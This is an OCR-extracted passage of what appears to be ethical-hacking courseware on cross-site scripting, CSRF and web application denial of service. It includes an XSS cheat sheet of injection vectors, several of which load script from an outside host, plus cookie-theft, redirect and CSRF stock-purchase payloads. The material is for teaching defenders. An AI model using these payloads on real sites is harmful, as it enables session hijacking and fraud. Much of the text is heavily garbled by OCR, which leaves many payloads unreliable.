(H a n d le s  r e q u e s ts  f o r  a 

n o n e x is te n t  p a g e , a  
c la ss ic  4 0 4  e r r o r  p a g e )

N o r m a l R e q u e s t

S e rv e r

h t t p : / / ju g g y b o y .c o m /< s c r ip t> a le r t ( "WARNING: The a p p l ic a t io n  
has enco u n te re d  an e r r o r ״ ) ; < / s o r ip t >

C o p y r ig h t © by  E&Coinal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

S  H o w  X S S  A t t a c k s  W o r k

To understand how  cross-site scrip ting  is typ ica lly  exp lo ited , consider the  fo llo w in g  
hypo the tica l exam ple.

(Handles requests fo r a 
nonex isten t page, a 
clastic 4 0 A e rro r page)

n
Server

Normal Request

h t t p :  / / ju g g y b o y .c o m כ/ a s o n _ f i l « . h t m l

S erver Code

< h f c m l >

<body>
<? php
p r i n t  "Not fo u n d : " 
u r ld e a o d e  ($_SERVER[" 
REQUEST_URI"] ) ;
?>
< /b o d y >
< /h tm l>

404 Not found 

/ j a s o n _ f i l e . h t m l

Server Response

XSS Attack Code

Server Response

h t tp : / / ju g g y b o y .c o a a /< 3 c r ip t> a le r t ( " W A R N IN G : The a p p l i c a t i o n  
h a s  • n c o u n t« r * d  a n  • rx ro r"  ) ; < / s c r i p t >

FIGURE 13.15: How XSS Attacks Work
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C E H
C r o s s - S i t e  S c r i p t i n g  A t t a c k  

S c e n a r i o :  A t t a c k  v i a  E m a i l

User clicks 
th e  m alicious link

Hi, You  have w o n  a 
lo t t  e  ry  o f  $ 2 M , d  ick 

th e  l in k t o  c la im  it.
<A
H R E F =h ttp ;// ju gg ybo y . 
co m /....S e n d s  e m a i l w ith

m a lic io u s  lin k

S e r v e r  s e n d s  a 

p a g e  t o  t h e  u s e r  

w i th  c lie n t  p ro f i le  

<..................
Name: Shaun 
Age: 31
Location: UK ^
Occupation: SE
Last visH: Sept 21,2010

M a lic io u s  c o d e  is  e x e c u te d  

o n  t h e  c l ie n t  w e b  b r o w s e r

Attacker

In  th is  example, the  attacker cra fts  an em ail message w ith  a m alicious scrip t and sends it to  the  v ic tim :

< A  H R E F = h t t p : / / l e g i t i m a t e S i t e . c o m / r e g i s t r a t i o n . c g i ? c l i e n t p r o f i l e = < S C R I P T >  

m a l i c i o u s  c o d e c / S C R I P T » C l i c k  h e r e < / A >

W hen the  user clicks on the  link, the  URL is sent to  leg itim a te S ite .com  w ith  the  m alicious code

The leg itim ate  server sends a page back to  th e  user includ ing the  value o f c l i e n t p r o f  i l e ,  and the  m alicious
code is executed on the  c lien t machine

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P roh ib ited

C r o s s - S i t e  S c r i p t i n g  A t t a c k  S c e n a r i o :  A t t a c k  v i a  E m a i l

In a crosssite scrip ting  a ttack via em ail, the  a ttacke r crafts an em ail th a t conta ins a link 
to  m alic ious scrip t and sends it to  the  v ic tim .

M a lic ious  Script:

<A HREF=h t t p : / / l e g i t i m a t e S i t e . c o m / r e g is t r a t io n . c g i? c l ie n tp ro f i le = < S C R IP T >
m a lic io u s  c o d e < /S C R IP T » C lic k  h e re < /A >

W hen the  user clicks on the  link, the  URL is sent to  leg itim ateS ite .com  w ith  the  m alic ious code. 
Then the  server sends a page back to  the  user inc lud ing  the  value o f c lien t p ro file  and the  
m alic ious code is executed on the  c lien t's  m achine.

The fo llo w in g  d iagram  dep icts the  cross-site scrip ting  a ttack scenario a ttack via em ail:
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Sends em ail w ith
malicious link

R eq ue st Is re ce iv ed  

by le g it im a te  s e rve r

FIGURE 1 3 .1 6 : A t ta c k  v ia  E m a il
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X S S  E x a m p l e :  A t t a c k  v i a  E m a i l  C E H

L e g it im a te

S e rv e r

Mi

sc rip t

r r r  1

A tta c k e r 's

S e rv e r

M a lic io u s

S c r ip t

< A  H R E F = h t t p : / / j u g g y b o y b a n k . c a n /  

r e g i s t r a t i o n . c x j i ? c l i e n t p r o f  i l e = < S C R I P T >  

m a l i c i o u s  c o d e < / S C R I P T » C l i c k  h e r e < / A >

U ser's

B ro w s e r

a m a lic ious lin k

th e  URL to  user and convince user to  c lick on i t

_  Request th e  page
o ......................!•

Page w ith  m alic ious

— Run 
© .......

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

X S S  E x a m p l e :  A t t a c k  v i a  E m a i l

The fo llo w in g  are the  steps invo lved in an XSS attack via em ail:

1. C onstruct a m alic ious link:

<AHREF=h t t p : / / ju g g y b o y b a n k .c o m / r e g is t r a t io n . c g i? c l ie n tp ro f i le = < S C R IP T > 
m a l ic io u s  code< /S C R IP T > > C lick  h e re < /A >

2. Email th e  URL to  the  user and convince the  user to  click on it.

3. User requests the  page.

4. Leg itim a te  server sends a response page w ith  m alic ious script.

5. M alic ious scrip t runs on th e  user's browser.
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Legitimate
Server

IS
A ttackers

Server
Malicious

Script
User's

Browser

<A HREF=http: / /  ̂ uggyboybeink . com / 
r e g i s t r a t i o n . c g i? c lie n tp r o fi le = < S C R I P T >  
m a lic io u s  c o d e c /S C R I P T » C lic k  h ere< /A >

Q  Construct a malicious link

FIGURE 1 3 .1 7 : A t ta c k  v ia  E m a il
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C E H
X S S  E x a m p l e :  S t e a l i n g  U s e r s '  

C o o k i e s

A tta c k e r 's

S e rv e r

U se r's  M a lic io u s

B ro w s e r  S c r ip t

H ost a page w ith  m a lic ious sc rip t

kV ie w  th e  page hosted  by th e  a ttacke r

@
^ ^ v i e w  th e  page hosted  Dy th e  a ttacke r 

HTML co n ta in ing  m a lic ious s c r i p t !

© - «...........................ז......................!
Run

C ollect user's  cookies

R ed irec t to  a tta cke r's  se rve r 
< .............................. (

Send th e  re qu e s t w ith  th e  user's  cookies

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P roh ib ited

X S S  E x a m p l e :  S t e a l i n g  U s e r s *  C o o k i e s

To steal the  user's cookies w ith  the  help o f an XSS attack, the  a ttacke r looks fo r  XSS 
nerab ilities  and then  installs a cookie  s tea le r (cookie logger).vu

The fo llo w in g  are the  various steps invo lved in stealing user's cookies w ith  the  help o f XSS 
attack:

1. A ttacke r in itia lly  hosts a page w ith  m alic ious scrip t

2. The user visits the  page hosted by a ttacker

3. The a ttacker's  server sends th e  response as HTML con ta in ing  m alic ious scrip t

4. The user's b row ser runs the  HTML m alic ious scrip t

5. The Cookie Logger p resent in the  m alic ious scrip t co llects user's cookies

6. The m alic ious scrip t red irects  the  user to  a ttacker's  server

7. The user's b row ser sends the  request w ith  the  user's cookies
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Attacker's
S e rv e r

I

ט
A tta c k e r 's

S e rv e r

@script

u se r’s co ok ie s

user's  co ok ie s

Malicious
Script

s c r ip t
...................................ז............................................................

th e  page h o s te d  b y  th e  a tta c k e r

I I
c o n ta in in g  m a lic io u s

.......... •>

C o llec t

1 1 
.....d ' i I
th e  re q u e s t w ith  th e

se rve r

מ
U s e r's

B ro w s e r
1I

a page w ith  m a lic io u s
*..............................ו.................................י I

View,-׳׳ !

HTM L
!<•

Run

R ed irec t to  a tta c k e r's
!<..........

Send
&

FIGURE 1 3 .1 8 : S te a lin g  U se rs ' C oo k ie s
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C E H

A tta c k e r 's

S e rv e r

II

XSS E x a m p le : S en d in g  an  
U n a u th o rize d  R eq u est

A tta c k e r 's

S e rv e r

M a lic io u s

S c r ip t

U se r's

B ro w s e r

C onstruct a m alic ious link

Page w ith  m a lic ious sc rip t

th e  URL td  user and convince user to  c lick  on i t
.......... *

R equest th e  page

Run

An a u th o rize d  re qu e s t

Email
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X S S  E x a m p l e :  S e n d i n g  a n  U n a u t h o r i z e d  R e q u e s t

Using an XSS attack, the  a ttacke r can also send an unau tho rized  request. The 
fo llo w in g  are the  steps invo lved in an XSS a ttack in tended to  send an u nau th o rized  request:

1. A ttacke r constructs a m alic ious link

2. Sends an em ail con ta in ing  the  URL to  user and convinces user to  click on it

3. The user's b row ser sends a request to  th e  a ttacker's  server fo r  the  page

4. The a ttacker's  server in response to  the  user's request sends the  page w ith  m alic ious 
scrip t

5. The user's b row ser runs the  m alic ious scrip t

6. The m alic ious scrip t sends an a u th o rize d  request
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FIGURE 1 3 .1 9 : S e n d in g  an  U n a u th o r iz e d  R e q u e s t
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X S S  A t t a c k  i n  B l o g  P o s t i n g C E H

4 a ►

Malicious code
<script>onload=

window.Iocation= 
'http://www.juggYboy.com' 

</script> 
is injecting the blog post

U se r re d ire c te d  to  a m a lic io u s  
w e b s ite  ju gg yb oy .co m

M alic ious W ebsite

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

W eb A pplication

1 3 5  X S S  A t t a c k  i n  a  B l o g  P o s t i n g

The fo llo w in g  diagram  depicts the  XSS attack in a blog posting:

M alicious code
<script>onload= 

w indow . location= 
'h ttp ://w w w .juggybcy .com ' 

</script> 
is in jecting  th e  blog post

U s e r  r e d ir e c t e d  t o  a  m a lic io u s  

w e b s i t e  ju g g y b o y .c o m

A tta cker adds a m alicious scrip t in 
the  com m e n t f ie ld  o f blog post

M alicious W ebsite
W eb App lica tion

C om m ent w ith  
m alic ious link  is 

s tored on th e  server

Database Server

FIGURE 13.20: XSS Attack in a Blog Posting
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X S S  A t t a c k  i n  C o m m e n t  F i e l d  C E H

o o o o

Face book acquires file-sharing service
New York-based start-up that lets users privately 
and sporadicaty share fles through a drag-and-
drop interface with additional options----------

C om m ent
Jason, I love your blog post!
- Mark (mark@miccasoft.com)

Leave your com m ent

P o p  u p  W in d o w

U se r  v is its  th e  

I T e ch Po s t 

w e b s ite

H I
ן  H l̂nVWnild

I <*......i

M alicious code
< s c r ip t» a le r t  ( "H e ll 

o Wor Id  ") < / sc r ip  t>  
is injecting th e  blog post

The a le r t  p o p s  up  as so o n  

as th e  w e b  page is  lo a d e d

C o m m e n t w ith  

m a lic io u s  l in k  is 

s to red  o n  th e  s e rv e r 

D a t a b a s e  S e r v e r  W e b  A p p l i c a t io n

C o p y r ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

J  X S S  A t t a c k  i n  a  C o m m e n t  F i e l d

M any In te rn e t w eb program s use HTML pages th a t dynam ica lly  accept data fro m
■ . . . .

d iffe re n t sources. The data in th e  HTML pages can be dyn a m ica lly  changed according to  the  
request. A ttackers use the  HTML w eb page's tags to  m an ipu la te  the  data and to  launch the  
a ttack by changing th e  com m ents fe a tu re  w ith  a m alic ious scrip t. W hen th e  ta rg e t sees the  
com m en t and activates it, then  the  m a lic ious sc rip t is executed on th e  ta rg e t's  brow ser, 
in it ia tin g  m alic ious perform ances.
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M a lic io u s  code
< s c r i p t > a l e r t ( " H e l l  

o  W o r l d " ) < / s c r i p t >  
is in jecting  the  blog post

The a le rt pops up as soon 
as the  w eb page Is loaded

a a s

1 Icch Po M
1 ------- ---------- - י הי •יי IMOM | n.Ort.TOlO

Facebook acquires file-sharing service
N#w York baved start ■up that !•tt users privately 
end sporadically share files through a drag and 
drop interfece with Additional op tions.----------

Leave your com m ent

Ja so n , 11 o v a  y o u r  b log  p o s t!  
< s c r i p t > a l e r t ( H e l l o  
W o r l d " ) < / s c r i p t >

A ttacker adds a m alicious script 
In the  com m ent f ie ld  o f blog post

Com m ent w ith  m alicious 
link  is stored on the  

server

Attacker

Pop up W indow
Web ApplicationDatabase Server

FIGURE 1 3 .2 1 : XSS A t ta c k  in  a C o m m e n t F ie ld
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X S S  C h e a t  S h e e t  H  C E H
UilifM  itkiul Mm  few

XSS locator: ״ {()}&=<XSS>־־-!;

N orm al XSS JavaScript injection: <SCRIPT 

SRC=http ://h a x k e rs .o rg /x s s .js x /S C R IP T >

Em bedded carriage return: <1MG 
SRC־־ jav&#xOD;ascript :alertfXSS״;)־ >

NuN Chars: p eri -e 'p rin t "<1MG 
SRC=java\Oscri p t : ale rt(\"XSS \" )>";'>  ou t

IM G  Dynsrc: <1MG
DYNSRC״־ ja va sa ip t alertCXSS״)־ >

IM G  lowsrc:<IMG  
DYNSRC־ "Javasalpt: ale r t f  XSS־)־>

Image XSS: <IM G SRC=־־javascript:alert('XSS־);"> N on-alpha-non-digit XSS: <SCR1PT/XSS 
SRC=" http^ /ha.dcers^fg /xss .js" x/SC R !P T>

IM G  lowsrc:<IMG
LOWSRC=" javascript :alert('XSS')">

N o q u o te s a n d  no semicolon: <IMG  

SRC=javascript:alert(־XSS')>
N on-alpha-non-digit p art 2  XSS: <BODY 
onload ! # $ % & ( ) - + 1 / ] K\ ־.,:;?@  '= a le rt< <(״XSS״

BGSOUND:<BGSOUND 
ja־׳;)' > va sa lp t :ale rt('XSS ״־SRC

Case insensitive XSS attack vector: <IM G  

SRC=JaVaScRIPt:alert('XSS')>
Extraneous open brackets: 
«SCRJPT>alert("XSS") ; / / « / SCR1PT>

LAYER:<LAYER SRC=
"h ttp : //h a x k e rs .o rg / script le th tm T x /L A Y E R >

HTML en titles: <1MG
SRC =javascr ip t: ale rt (& q u o t; XSS&q u o t; )>

N o dosing script tags: <SCRIPT 
SRC=http://ha.ckers.org/xss.js?<B >

 STYLE sheet: <LINK REL="stylesheet־
ja״;)* > va sa lp t :ale r t( ,XSS ־'־HREF

Grave accent obfuscation: <IMG

SRC= javascript :ale rt(" RSnake says, 'X S S 'T >
Protocol reso lution  in script tags: <SCRIPT 
SRC־/ /h a x k e  rs .o rg /.j>

Local htcfile:<XSSSTYLE־ "behavk>r: 
urHxssJttc);">

M alfo rm e d  IM G tags:<IMG  

־־ ״  " x S C R IP T > a le rtf  XSS" )</SCRIPT>" >

Em bedded tab: < IM G SRC«"Jav 
ascript:aiert('XSS');H>

Half o pen  HTML/JavaScript XSS vector: <IMG  
SRC=־־ javascript :alert('XSS')"

Double o pen angle brackets: < lfram e  
src־ h ttp : //h a .c k e  rs.org/scriptlet.htmi <

VBscript in an Im age: <IMG  
SRC*־ v b s a ip t: m  sgbox(״XSS")’>

Mocha: <IM G SRC־ "Hvescript:[code]">

Em bedded encoded tab: <IMG  

SRC־־ jav& #x09;ascrlp t: ale rt ( ,XSS‘);" >

Em bedded tab: < IM G SRC="jav 
ascript:aiert('XSS');">

Em bedded encoded tab : <IMG  
SRC״־ )av & # x0 9;a sa lp t: ale rt ( ,XSS־);" >

Em beded new line: < IMG  

SRC="jav&#xOA;ascript:alert('XSS');">

XSS w ith  no single q uotes or double quotes or 
semicolons: SCRIPT>alert (/XS S/source K/SCRIPT>

Escaping JavaScript escapes: \ a;״ le rt('X S S ');//

End t it le  tag:
</TTTlExSCRJPT>aiert(“XSS“);</SCRlPT>

INPUT im age :<IN PUT TYPE=" IMAGE"
SRC*" Javascri p t : ale r t  (' XSS');״ >

US-ASCII encoding: is a ip tualert(E X S S E )i/sa ip tu

META:<META HTTP-EQUfV-"rafrash" 
CONTENT="0;uH=javascript:alert(־XSS׳);”>

TABLE:<TABLE
BACKGROUN D־־־ javascript: alert( ־XSS״)־> 

TD:<TABLExTD
BACKGROUN D״־ ja va sa lp t :alert(*XSS״)־>

C o p y r ig h t © by  E & C a u ic f l .  A l l  R igh ts  R ese rved . R ep ro d u c tio n  is  S tr ic t ly  P ro h ib ited .

X S S  C h e a t  S h e e t

Embedded carriage re tu rn : י .IMG  

S R C = *jfg^ k O O .a sc n p t a t e f t f X S S '^

M *  O m n  (K fl.-e  *print ־ <*A G  
SRC-yn vn \O sc n pta *ertf\*X S S V  > out

W:m־a!pr»»-n&n־Ctg:t XSS <SCR1FT/XSS 

S H C :*n ttp y /h a  ckers org/KSS.js־xV S C R IF T >  

p v t  2 XSS <SOOY 

) • *־־־ ■ - ? * I / - X S S  <<״

Evtraneous open brackets 

< <SCRIFT>«»eft ( TCSS״y / « /5 C W F T >

No O asu^ senpt f g z .  <SOUFT  

SRC=attpy/aa.ciLers.org/css.js*«:*>

Protocol resolution m  senpt tags <SCRIPT 

SRC=//fca.clters.org/.j>

H a*f o p e • K T M t/ja v a S c n p t X 5  vector d M G  

S R C = *|» v « 5 q n jt^ ie r^ X S S 7 '

Dootrte open angle Dradcets
gty^tittpy/ha.cfcers.org/sertpttet.fttmi <

XSS w r t t  bo saftgte Quotes or dow&te quotes or 

semacoftoaa: S C R *T> «le rt(/X S S /-S 0«1rc e> < /S a 1FT>

Escaping J r a S c n p t  escapes W a t e r * x־  s s y /

Ena t it le  ta g

< /T T m x s c R ^ > a ie r t ( * x s s * W s a a P T >

INPUT ■ m n ■  JM FVT T Y P E = *IN »G E '

' i M K r a t f ,̂ <״ 

FIGURE 13.22: XSS Cheat Sheet

•M G  (S K iC ^c lM G

0vNs*c־־a»ist1«jusdi“ s t ׳ 
M G I f w V C < M 6

SGSOUND.-SGSOL'ND  

S^ WOBSaRSJUSCft*” «־< 
LAVER •LAYER SHC=

* H ttp y /n a .A efs .o rg /sc r1p tiet-M m J ״ x / lA Y E R >

STY U  sheet: <UNK R E U - g T f e t t c g r  
HREF=־ttW650£lJJ1>fOiXSS ־ ־ > 
local M c.foe <XSS S T 1 U = '» e M w o r

VBscript in an im age. <JMG 
SR C=Vtecript:m sgtX)»cf*XSS7׳ >

M o c M  <JMG SRC=‘ 1nrescnpt:JcodeI*>

US-ASOI encoding g O T p ya > m lE X S S E  fJ x z> p lv

M E T A < M E T A  K T T F -E Q IW r-re fie s a  * 
C 0 t a e m = ’ 0 :m t= f f r K a T f t : * e r t  fxSS V >

TABLE cTABLE

b a c x g  r o u n o = ̂  ̂ t y i p t  t £ r t j r c s s f  >

T D x T A U f x T O

ia c k g r o u m avascrw* ־=< t a*ertfTCSS7־ >

XSS locator ־ ' . ׳ - ־ < X S S > = *{ ()}

►normal XSS ;a v a S a ip t inaction  <SCRIFT 
SRC=nttp J f ha t te rs  o rg /c s s js x /S C R IP T >

» p*״ * 6 ־ ״*■
Mo qiKrtrc • 4 m ח  je m ic o to •: <1MG 

Case *nsensitrve XSS a t t a o  ve cto r < « *G

H TM L en trties  * IM G

G rave accent o d f ascatioa: < IM G

S R C 0 & 6 ־  0 נ1 « * «6 ־ 8מ8 S & C T V  TCSS")'>

M arfo rm e o  IM G  tags ■:IMG 
xS * * ׳ C R IPT>aJert{ ־ XSS־ ></SCRIPT>״ >

Emoedded ta tr  <JMG SR C =*jav  
w ^ t a k r ^  TCSS'J;״ >

Emoeooefl encoded tab : < IM G  
SR C =*jjx&*»c09;ascnpt a *ert( 'X S S '> / >

Embedded t a t  <1MG SRC=־jay

s״ss!׳sji־«s'>:־>
Em bedded encoded t a d : « IM G  
S R C = '0x ^ a cO 9;as cn p t n»ert(־XSS־) ; '>

' fflww״•״• ‘  <**G
S *C ־ ־ ! w |M 1 « f lA » n p t» l« r t lT C S S ) ־. >
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Cross-Site Request Forgery  (CSRF) 
A ttack c(*rtifxd 1

E l
lt»K4l IlM

\
tm

J  C ross-S ite  R equest F o rg e ry  (CSRF) a tta c k s  e x p lo i t  w e b p a g e  v u ln e ra b i l it ie s  th a t  a llo w  an a tta c k e r  to  fo rc e  an 

u n s u s p e c tin g  u se r's  b ro w s e r  to  send  m a lic io u s  re q u e s ts  th e y  d id  n o t in te n d

J  T h e  v ic t im  u se r h o ld s  an  a c tiv e  sess ion  w ith  a t ru s te d  s ite  a nd  s im u lta n e o u s ly  v is its  a m a lic io u s  s ite , w h ic h  

in je c ts  an  HTTP re q u e s t fo r  th e  t ru s te d  s ite  in to  th e  v ic t im  u se r's  sess ion , c o m p ro m is in g  its  in te g r i ty

M a lic iou s  W ebs ite

...... 1  ©

© 41!

fc
Trusted  W ebs ite  

>  ___
Logs in to  the  trusted  s ite  and

:sion

. . .

Sends a request f ro m th e  use r's 

! using  his sess ion  cook ie

creaitesa new s!

S to res th e  sess ion  iden t f ie r fo r th e י   

sess ion  in a cook ie  in the  w eb b row ser

User

C o p yr ig h t © by  E&C01nal. A ll R igh ts  R ese rved . R ep roduc tio n  is  S tr ic t ly  P roh ib ited .

C r o s s - s i t e  R e q u e s t  F o r g e r y  ( C S R F )  A t t a c k

Cross-site request fo rgery  is also know n as a one-click attack. CSRF occurs w hen a 
user's w eb brow ser is instructed  to  send a request to  the  venerab le  w ebsite  th rough  a 
m alicious w eb page. CSRF vu lne rab ilitie s  are very com m on ly  found  on fin a n c ia l-re la te d  
websites. Corporate in tra n e ts  usually can 't be accessed by the  outs ide a ttackers so CSRF is one 
o f the  sources to  en te r in to  the  ne tw ork . The lack o f the  w eb app lica tion  to  d iffe re n tia te  a 
request done by m alicious code fro m  a genuine request exposes it to  CSRF attack.

Cross-Site request fo rge ry  (CSRF) attacks exp lo it w eb page vu lne rab ilitie s  th a t a llow  an a ttacker 
to  force an unsuspecting user's b row ser to  send m alicious requests they did no t in tend. The 
v ic tim  user holds an active  session w ith  a trus ted  site and sim u ltaneously visits a m alicious site, 
wh ich in jects an HTTP request fo r  the  trus ted  site in to  the  v ic tim  user's session, com prom is ing  
its in teg rity .
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Malicious Website

browser

□ O
Trusted Website

Sends a request from  the user's 
using his session cookie

site and 
•sion

Logs in to the trusted 
creates a new se

er fo r the י  
w eb browser

!esslon Identffl 
ookle In the

User

Stores the s 
session In a cl

Visits a ma>י־

aft
F IG U R E  1 3 .2 3 :  C r o s s - s ite  R e q u e s t  F o r g e r y  (C SR F) A t ta c k
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H o w  C S R F  A t t a c k s  W o r k

In a c ross-s ite  re q u e s t  fo rg e ry  a ttack , th e  a t ta c k e r  w a i ts  fo r  th e  user to  c o n n e c t  to  th e  

t ru s te d  se rve r  and th e n  t r icks  th e  user to  c lick on a m a l ic ious  l ink  c o n ta in in g  a rb i t ra ry  code. 

W h e n  th e  user clicks on th e  m a l ic ious  link, th e  a rb i t ra ry  code  gets e x ecu ted  on  th e  t ru s te d  

server. The fo l lo w in g  d ia g ra m  exp la ins  th e  s te p -b y -s te p  process o f  a CSRF a ttack :
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Server CodeClient Side Code

r
Trusted
Server

<<?php
s e s s io n _ s ta r t ( ) ;  
i f  (isset($_REQUEST[' sym bol'] 
&&
i s s e t  ($_REQUEST [ י sh a res ' ] )) 
{buy_stocks ($_REQUEST[  י symbol י
] ,
$_REQUEST[ ’ sh a re s ’] ) ;}
?>

Malicious
Server

©ט

o
User logs into trusted server using his credentials

Server sets a session cookie In the user's browser

Malicious code is executed in the 
trusted server

Attacker sends a phishing mall tricking 
user to  send a request to a malicious site

Symbol k 

Shares £

<form action= buy.php" 
method="POST">
<p>Symbol: <input type="text" 
name-’symbor /x/p> 
<p>Shares: <input type-'text" 
name=,,shares” /></p> 
<pxinput type="submit" 
value="Buy" /></p>
</form>r

Attacker

Malicious Code

< im g
s r a = " h t t p : / / j u g g y b o y . o o ra / j 
u g g y s h o p . p h p ? s y m b o l= M S F T & s  
h a r e s = 1 0 0 0 ,r / >

0
Response page contains malicious code

User requests a page from the malicious server

F IG U R E  1 3 .2 4 :  H o w  CSRF A t ta c k s  W o r k
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C E H
W e b  A p p l i c a t i o n  D e n i a l - o f - S e r v i c e  

( D o S )  A t t a c k

W hy Are Applications Vulnerable?
•  Reasonable Use of Expectations 

ג  Application Environment Bottlenecks

-  Implementation Flaws

-  Poor Data Validation

W e b  S e r v i c e s  U n a v a i l a b i l i t y

Attackers exhaust available server resources by 
sending hundreds of resource-intensive 
requests, such as pulling out large image files 
or requesting dynamic pages that require 
expensive search operations on the backend 
database servers

W e b  S e r v e r  R e s o u r c e  C o n s u m p t i o n

•
Targets Application-level DoS attacks emulate the

i ג  CPU, Memory, and Sockets 

: -  Disk Bandwidth
:
i -  Database Bandwidth

B O B

B O B

same request syntax and network-level 
traffic characteristics as that of the 
legitimate clients, which makes it
undetectable by existing DoS protection :

: -  Worker Processes measures :

Copyright © by EG-G0llial. All Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p l i c a t i o n  D e n i a l ־ o f ־ S e r v i c e  ( D o S )  A t t a c k
י————
______ D en ia l-o f-se rv ice  a ttacks  h ap pe n  w h e n  th e  le g i t im a te  users are p re v e n te d  f r o m

p e r fo rm in g  a des ired  task  o r  o p e ra t io n .  A t ta c k e rs  e x h a u s t  ava i lab le  se rve r  resources  by 

send ing  h u n d re d s  o f  reso u rc e - in te n s iv e  requests , such as pu l l ing  o u t  large im age  f i les  o r  

re q u e s t in g  d y n a m ic  pages th a t  re q u ire  expens ive  search o p e ra t io n s  on th e  backend  da tabase  

servers.

The fo l lo w in g  issues m ake  th e  w e b  a pp lica t ion s  vu ln e ra b le :

© Reasonable  Use o f  E xp e c ta t io n s

© A p p l ic a t io n  E n v i ro n m e n t  B o tt lenecks

© Im p le m e n ta t io n  Flaws

© Poor Data V a l id a t io n

A p p l ic a t io n - le v e l  DoS a ttacks  e m u la te  th e  sam e re q u e s t  syn tax  and n e tw o rk - le v e l  t ra f f ic  

ch a rac te r is t ics  as th a t  o f  th e  le g i t im a te  c l ien ts , w h ic h  m akes i t  u n d e te c ta b le  by ex is t ing  DoS 

p ro te c t io n  m easures . In w e b  a p p l ic a t io n  d en ia l-o f-se rv ice  a t ta c k  th e  a t ta c k e r  ta rg e ts  and tr ie s  

to  exhaus t CPU, m e m o ry ,  Sockets, d isk b a n d w id th ,  da tabase  b a n d w id th ,  and w o rk e r  processes.

Som e o f  th e  c o m m o n  w a y s  to  p e r fo r m  a w e b  a p p l ic a t io n  DoS a t ta c k  a re :

■ © B a n d w id th  c o n s u m p t io n - f lo o d in g  a n e tw o rk  w i th  data
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Q R e s o u rc e  s t a r v a t i o n - d e p le t i n g  a s y s te m 's  re s o u rc e s  

© P r o g r a m m in g  f l a w s - e x p lo i t i n g  b u f f e r  o v e r f lo w s

© R o u t in g  a n d  DNS a t t a c k s - m a n i p u la t in g  DNS ta b le s  t o  p o in t  t o  a l t e r n a t e  IP a d d re s s e s
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-

D e n i a l - o f - S e r v i c e  ( D o S )  E x a m p l e s  C E H

The a tta cke r cou ld  c re a te  a p rog ram  th a t  subm its  th e  re g is tra tio n  fo rm s  

repea ted ly , add ing a la rge  n u m b e r  o f  s p u rio u s  users to  th e  a p p lica tio n

The a tta cke r m ay o v e rlo a d  th e  log in  process by co n tin u a lly  sending log in  

requests th a t requ ire  th e  p re s e n ta tio n  t ie r  to  access th e  a u th e n tic a tio n  
m echan ism , rendering  it  u n a v a ila b le  o r  u n re a s o n a b ly  s lo w  to  respond

I f  a p p lic a tio n  s ta tes  w h ich  p a rt o f  th e  user nam e /p a ssw o rd  pa ir is in co rre c t, 
an a tta cke r can a u to m a te  th e  process o f  try in g  c o m m o n  user nam es f ro m  a 
d ic t io n a ry  f ile  to  enu m e ra te  th e  users o f  th e  a p p lica tio n

The a tta cke r m ay enu m e ra te  user nam es th ro u g h  a n o th e r v u ln e ra b ility  in 

th e  a p p lica tio n  and then  a tte m p t to  a u th e n tic a te  to  th e  s ite  using va lid  
user nam es and  in c o rre c t passw ords , w h ich  w ill lo ck  o u t th e  accou n ts  a fte r  

th e  specified  num ber o f  fa ile d  a tte m p ts . A t th is  p o in t le g itim a te  users w ill 

n o t be able to  use th e  s ite

Copyright © by E&C01nal. All Rights Reserved. Reproduction is Strictly Prohibited.

User 
Registration DoS

Login
Attacks

User
Enumeration

Account Lock 
Out A ttacks

D e n i a l ־ o f ־ S e r v i c e  ( D o S )  E x a m p l e

M o s t  w e b  a p p l ic a t io n s  a re  d e s ig n e d  t o  s e rv e  o r  w i t h s t a n d  w i t h  l im i t e d  re q u e s ts .  If t h e  

l im i t  is e x c e e d e d ,  t h e  w e b  a p p l ic a t i o n  m a y  fa i l  t h e  s e rv e r  t h e  a d d i t i o n a l  re q u e s ts .  A t t a c k e r s  use 

a d v a n ta g e  t o  la u n c h  d e n ia l - o f - s e rv ic e  a t ta c k s  o n  t h e  w e b  a p p l ic a t io n s .  A t t a c k e r s  se n d  t o o  m a n y  

re q u e s ts  t o  t h e  w e b  a p p l i c a t i o n  u n t i l  i t  g e ts  e x h a u s te d .  O n c e  th e  w e b  a p p l ic a t io n  re c e iv e s  

e n o u g h  re q u e s ts ,  i t  s to p s  r e s p o n d in g  t o  o t h e r  r e q u e s t  t h o u g h  i t  is s e n t  b y  an  a u t h o r i z e d  use r.  

T h is  is b e c a u s e  th e  a t t a c k e r  o v e r r id e s  t h e  w e b  a p p l ic a t i o n  w i t h  fa ls e  r e q u e s ts .  V a r io u s  w e b  

a p p l ic a t io n  DoS a t ta c k s  in c lu d e :

6  User R e g is t ra t io n  DoS: T h e  a t t a c k e r  c o u ld  c re a te  a p ro g r a m  t h a t  s u b m i ts  t h e  

r e g is t r a t io n  f o r m s  r e p e a t e d ly  a d d in g  a la rg e  n u m b e r  o f  s p u r io u s  use rs  t o  t h e  

a p p l ic a t io n .

© Login  A t t a c k s :  T h e  lo g in  p r o c e d u r e  is o v e r lo a d e d  b y  t h e  a t t a c k e r  b y  r e p e a t e d ly  

t r a n s fe r r in g  lo g in  re q u e s ts  t h a t  n e e d  th e  p r e s e n t a t io n  t i e r  t o  a d m i t  t h e  re q u e s t  and  

access t h e  v e r i f i c a t io n  in s t r u c t io n s .  W h e n  t h e  re q u e s ts  a re  o v e r l o a d e d ,  t h e n  t h e  

p ro c e s s  b e c o m e s  s lo w  o r  u n a v a i la b le  t o  t h e  g e n u in e  users .

Q User E n u m e ra t io n :  W h e n  th e  a p p l ic a t i o n  re s p o n d s  t o  a n y  u s e r  a u th e n t i c a t io n  p ro c e s s  

w i t h  t h e  e r r o r  m e s s a g e  d e c la r in g  t h e  a re a  o f  in c o r r e c t  i n f o r m a t i o n ,  t h e n  t h e  a t t a c k e r  

can  e a s i ly  m a n ip u la t e  t h e  p r o c e d u r e  b y  b r u t e  f o r c in g  t h e  c o m m o n  u s e r  n a m e s  f r o m  a 

